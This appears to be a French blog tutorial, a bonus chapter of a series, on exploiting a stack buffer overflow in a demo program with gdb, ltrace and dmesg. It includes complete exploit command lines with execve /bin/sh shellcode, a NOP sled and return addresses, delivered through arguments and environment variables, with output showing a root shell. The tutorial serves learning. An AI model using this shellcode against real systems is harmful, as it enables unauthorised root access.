Buffer Overflow & gdb – Bonus
|Cet article est un complément au triptyque gdb & Buffer Overflow. Je vous invite à découvrir les articles précédents avant de poursuivre la lecture de ce complément :
Usefull tools
- dmesg : permet de récupérer les messages du noyau, comme les infos de crash d’un programme (contenant l’EIP).
- strings <file> : affiche les chaînes de caractères trouvées dans un fichier.
- nm <binary> : liste les symboles d’un binaire : l’adresse des zones mémoires, l’adresse des fonctions, etc…
- ltrace <binary> : liste les appels vers les fonctions contenues dans les bibliothèques partagées.
- strace <binary> : liste les appels système et les signaux.
Exploit Sans gdb
Dans la Part 3 je vous avais dit qu’il n’était même pas nécessaire de lancer gdb pour réussir à exploiter un buffer overflow très basique. Et bien je vais vous le prouver !
Get the Fake Return Address
L’outil de débogage ltrace permet de lister tous les appels vers les fonctions contenues dans les bibliothèques partagées mais pas celles contenues directement dans le programme (statiques). Une autre information très utile que ltrace permet de récupérer est l’adresse de certains pointeurs… Comme celui utilisé pour copier le contenu de l’argument de funcMyLife() dans la variable buffer[128]…
user1@kali:~$ ltrace ./bfpoc Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag __libc_start_main(0x804848b, 2, 0xffffd3a4, 0x8048590 <unfinished ...> puts("[0] main() Start here."[0] main() Start here. ) = 23 puts("[1] Calling funcMyLife()."[1] Calling funcMyLife(). ) = 26 puts("[2] funcMyLife() Start here."[2] funcMyLife() Start here. ) = 29 puts("[3] Variable buffer declaration."...[3] Variable buffer declaration. ) = 33 puts("[4] Calling strcpy(). <= [Vulner"...[4] Calling strcpy(). <= [Vulnerability] ) = 41 strcpy(0xffffd250, "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab"...) = 0xffffd250, printf("\nMessage : %s\n\n", "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab"... Message : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag ) = 213 puts("[5] funcMyLife() end at the next"...[5] funcMyLife() end at the next instruction (ret). ) = 52 --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++
On dispose à présent de notre Fake Return Adress, soit l’adresse de la variable buffer[128] dans laquelle se trouve notre exploit construit toujours de la même manière : NOSled + Shellcode + Padding + Fake Return Address.
Get the Offset
L’utilitaire dmesg permet d’afficher les messages du noyau depuis le démarrage de la machine. Vous voyez les lignes qui défilent lorsque vous bootez sur linux… Bah vous pouvez les retrouver dans dmesg au tout début des logs affichés. Mais ce n’est pas tout, cet utilitaire permet de récupérer une information très utile lors du crash d’un programme, le dernier EIP avant l’interruption !
user1@kali:~$ dmesg [...] [69446.987453] bfpoc[37825]: segfault at 37654136 ip 0000000037654136 sp 00000000ff92d3a0 error 14
Par exemple dans mon cas l’EIP est égale à 0x37654136 qui en ASCII se traduit par 7eA6 soit en considérant la convention Little Endian : 6Ae7. Et comme vous êtes observateur, vous avez remarqué que 6Ae7 est un morceau de notre pattern précédemment utilisé pour crasher le programme. Il suffit à présent de compter combien de caractères se trouvent avant ce morceau de chaîne pour trouver l’offset, soit 140…
Et c’est tout ce dont nous avons besoin ! Il nous est à présent possible de construire un exploit parfaitement fonctionnel, comme celui ci-dessous !
user1@kali:~$ ./bfpoc $(python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"+"a"*17+"\x70\xd2\xff\xff"+"Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5A"') # whoami root
Vous remarquerez que l’on garde exactement la même longueur de buffer entre notre exploit et le pattern qui nous a permis de récupérer les informations… Ainsi on ne produit pas de décalage en mémoire en modifiant la taille des arguments… L’adresse récupérée demeure donc la bonne !
Pourquoi \x70\xd2\xff\xff et pas \x50\xd2\xff\xff ? Car rappelez-vous, on peut tomber n’importe où dans notre NOPSled ça n’a aucune importance… On vise donc le milieu par sécurité.
Et pourquoi “a“*17 0x0ff ?.. Bon les enfants, il faut quand même lire les trois premiers volets pour comprendre cette partie bonus hein ! ;) Cela dit, je peux apporter quelques précisions intéressantes, je consens donc à vous administrer une piqûre de rappel…
140 Octets, et 17 Octets après le Shellcode ?
Pourquoi dans l’article Buffer Overflow & gdb – Part 3 utilisons nous une chaîne de caractères de 140 octets + 4 (EIP) ? Et pourquoi avons-nous “a“*17 ? Rappelez-vous, notre shellcode faisait 23 octets et notre NOPSled en faisait 100. Il manquait donc 5 octets pour atteindre la taille théorique de notre variable buffer[128].
Dans cet espace de 17 octets il y a 4 octets que l’on est capable d’identifier facilement. En effet, juste avant la Return Address se trouve le saved EBP ou Saved Frame Pointer qui contient un pointeur de stack utile à la fonction appelante… Mais que sont ces 12 octets restants ?
Et bien en réalité, ils sont alloués à la variable buffer[128]… Enfin, en gros… Mais voyons comment cela se traduit en assembleur :
gdb-peda$ pdisass funcMyLife Dump of assembler code for function funcMyLife: 0x08048514 <+0>: push ebp 0x08048515 <+1>: mov ebp,esp 0x08048517 <+3>: sub esp,0x88 0x0804851d <+9>: sub esp,0xc 0x08048520 <+12>: push 0x8048695 0x08048525 <+17>: call 0x8048350 <puts@plt> 0x0804852a <+22>: add esp,0x10 0x0804852d <+25>: sub esp,0xc 0x08048530 <+28>: push 0x80486b4 0x08048535 <+33>: call 0x8048350 <puts@plt> 0x0804853a <+38>: add esp,0x10 0x0804853d <+41>: sub esp,0xc 0x08048540 <+44>: push 0x80486d8 0x08048545 <+49>: call 0x8048350 <puts@plt> 0x0804854a <+54>: add esp,0x10 0x0804854d <+57>: sub esp,0x8 0x08048550 <+60>: push DWORD PTR [ebp+0x8] 0x08048553 <+63>: lea eax,[ebp-0x88] <= 0x08048559 <+69>: push eax 0x0804855a <+70>: call 0x8048340 <strcpy@plt> 0x0804855f <+75>: add esp,0x10 0x08048562 <+78>: sub esp,0x8 0x08048565 <+81>: lea eax,[ebp-0x88] <= 0x0804856b <+87>: push eax 0x0804856c <+88>: push 0x8048701 0x08048571 <+93>: call 0x8048330 <printf@plt> 0x08048576 <+98>: add esp,0x10 0x08048579 <+101>: sub esp,0xc 0x0804857c <+104>: push 0x8048714 0x08048581 <+109>: call 0x8048350 <puts@plt> 0x08048586 <+114>: add esp,0x10 0x08048589 <+117>: leave 0x0804858a <+118>: ret End of assembler dump.
La ligne en gras soulignée et marquée du symbole <= (vous ne pourrez pas dire que je n’y ai pas mis du mien pour vous montrer quelle ligne regarder), correspond pour faire simple à l’espace mémoire destiné à l’enregistrement de la variable buffer dans la pile.
Hors 0x88 correspond à 136 octets et non 128 comme on pourrait l’attendre ! Et devinez combien d’octets ça fait de différence ? Exactement 8 octets ! Le compte est donc bon :
100 (NOPSled) + 23 (shellcode ) + 5 (pour atteindre les 128 octets théoriques) + 8 (pour atteindre les 136 octets effectivement alloués dans la stack) + 4 (Saved Frame Pointer ) = 123 + 17 = 140 !
Environ
Dans les parties précédentes, je vous ai montré que notre exploit était présent en mémoire à plusieurs endroits. Dans l’espace dédié aux arguments et dans la variable buffer.
Figurez-vous qu’il est possible de carrer notre exploit dans d’autres endroits… Non ce n’est pas une blague graveleuse. Il est par exemple possible de placer notre exploit dans une variable d’environnement.
On commence par déclarer une variable contenant notre exploit :
0x0ff@kali:~$ export exploit=$(python -c 'print "\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"')
Maintenant, on lance gdb pour faire nos petites affaires, mais ça vous maîtrisez maintenant :
0x0ff@kali:~$ gdb ./bfpoc gdb-peda$ break strcpy Breakpoint 1 at 0x8048340 gdb-peda$ r $(python -c 'print "a"*140+"\xaa\xaa\xaa\xaa"') [0] main() Start here. [1] Calling funcMyLife(). [2] funcMyLife() Start here. [3] Variable buffer declaration. [4] Calling strcpy(). <= [Vulnerability] [...] Breakpoint 1, 0xf7e96c80 in ?? () from /lib32/libc.so.6 gdb-peda$ x/100s *environ [...] 0xffffd9e3: "exploit=", '\220' <repeats 192 times>... 0xffffdaab: '\220' <repeats 200 times>... 0xffffdb73: '\220' <repeats 200 times>... 0xffffdc3b: '\220' <repeats 200 times>... 0xffffdd03: '\220' <repeats 200 times>... 0xffffddcb: "\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343PS\211\341\260\v̀" [...] gdb-peda$ x/100i 0xffffd9e3 0xffffd9e3: gs 0xffffd9e4: js 0xffffda56 0xffffd9e6: ins BYTE PTR es:[edi],dx 0xffffd9e7: outs dx,DWORD PTR ds:[esi] 0xffffd9e8: imul esi,DWORD PTR [ebp+edi*1-0x70],0x90909090 0xffffd9f0: nop 0xffffd9f1: nop [...] 0xffffda4d: nop 0xffffda4e: nop gdb-peda$ quit
On connait à présent l’adresse de notre exploit. Vu qu’on a 1000 instructions nop, on prend relativement large, ce qui nous évitera d’être embêté par un décalage des adresses mémoire entre gdb et le shell de user1…
user1@kali:~$ ./bfpoc $(python -c 'print "a"*140+"\x4e\xda\xff\xff"') [0] main() Start here. [1] Calling funcMyLife(). [2] funcMyLife() Start here. [3] Variable buffer declaration. [4] Calling strcpy(). <= [Vulnerability] Message : ����������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��� aaaaaaaaaaaaaaaaaN��� [5] funcMyLife() end at the next instruction (ret). # whoami root #
Fun but useless
Un petit détail amusant, l’emplacement mémoire contenant la variable d’environnement exploit commence par “exploit=“. Si l’on prend comme Fake Return Address l’adresse 0xffffd9e3, ça devrait donc logiquement merder car cette adresse ne pointe pas la NOPSled directement mais la chaîne “exploit=” correspondant à la suite d’octets 0x6578706c6f69743d suivie de la NOPSled… Mais par le plus grand des hasards, le début de cette chaîne de caractères se traduit ainsi en instructions assembleur :
0xffffd9e3: gs 0xffffd9e4: js 0xffffda56
Or, l’instruction js (Jump if Signe) réalise un saut, dans notre cas à l’instruction 0xffffda56 qui est en plein dans la NOPSled. C’est quand même cocasse ! :o)
gdb décalé
Un problème très couramment rencontré est le décalage d’adresses mémoire entre gdb et le shell de l’utilisateur. Ce décalage est causé par les variables d’environnement placées dans la mémoire à l’exécution du programme. En effet, dans gdb certaines variables sont modifiées ou ajoutées par rapport à l’environnement normal de l’utilisateur. A gauche, les variables d’environnement dans le shell de user 1. A droite, les variables d’environnement dans gdb :
Prenons un exemple concret. Sur ma machine, la variable buffer est à l’adresse 0xffffce90 lorsque je suis sur le shell de user1 (à l’extérieur de gdb) :
user1@kali:~$ ltrace ./bfpoc $(python -c 'print "a"*140+"\xaa\xaa\xaa\xaa"') [...] strcpy(0xffffce90, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"...) = 0xffffce90 [...]
Alors que dans gdb, en affichant la mémoire après l’exécution de la fonction strcpy, on peut voir que la variable buffer est à l’adresse 0xffffce80 :
gdb-peda$ x/80xg $esp 0xffffce70: 0xffffd160ffffce80 0xf7e7c06e08048636 0xffffce80: 0x6161616161616161 0x6161616161616161 0xffffce90: 0x6161616161616161 0x6161616161616161 0xffffcea0: 0x6161616161616161 0x6161616161616161 0xffffceb0: 0x6161616161616161 0x6161616161616161 0xffffcec0: 0x6161616161616161 0x6161616161616161 0xffffced0: 0x6161616161616161 0x6161616161616161 0xffffcee0: 0x6161616161616161 0x6161616161616161 0xffffcef0: 0x6161616161616161 0x6161616161616161 0xffffcf00: 0x6161616161616161 0xaaaaaaaa61616161
Il y a donc un décalage de 0x10 soit 16 octets entre gdb et le shell de user1 ! Soyez prudent avec ça !
Voir : http://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it
Il est cependant possible d’unset les intruses dans GDB pour restaurer la situation nominale (tip by @Pixis) :
gdb-peda$ unset env LINES gdb-peda$ unset env COLUMNS